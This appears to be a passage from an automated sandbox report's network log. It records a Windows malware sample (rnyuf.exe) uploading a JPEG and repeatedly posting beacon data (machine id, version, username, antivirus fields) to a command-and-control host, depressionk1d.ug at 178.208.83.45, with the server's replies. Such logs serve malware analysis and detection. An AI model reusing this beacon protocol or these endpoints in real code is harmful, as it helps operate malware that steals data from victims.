Nov 12, 2021 22:23:25.901295900 CET	3562	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:25.901679039 CET	3572	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:25.902034998 CET	3574	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:25.924485922 CET	3577	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:25.925194025 CET	3580	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:25.925421000 CET	3591	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:25.925966024 CET	3595	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:25.926276922 CET	3597	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:25.926510096 CET	3600	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:25.947043896 CET	3605	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:26.001612902 CET	3671	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:25 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.4	50116	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:16.420351982 CET	13620	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:16.446151972 CET	13621	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.4	50117	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:16.575078011 CET	13621	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:16.726001978 CET	13622	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.4	50118	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:16.857429028 CET	13817	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:16.880999088 CET	13818	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:16 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:16.881016016 CET	13818	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.4	50119	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.014741898 CET	13819	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:17.037199020 CET	13820	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:17.037229061 CET	13821	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.4	50120	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.173724890 CET	14263	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:17.200238943 CET	14263	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.4	50121	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.343234062 CET	14359	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:17.368680954 CET	14359	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.4	50122	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.513107061 CET	14360	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:17.538170099 CET	14361	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.4	50123	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:17.675899029 CET	14361	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
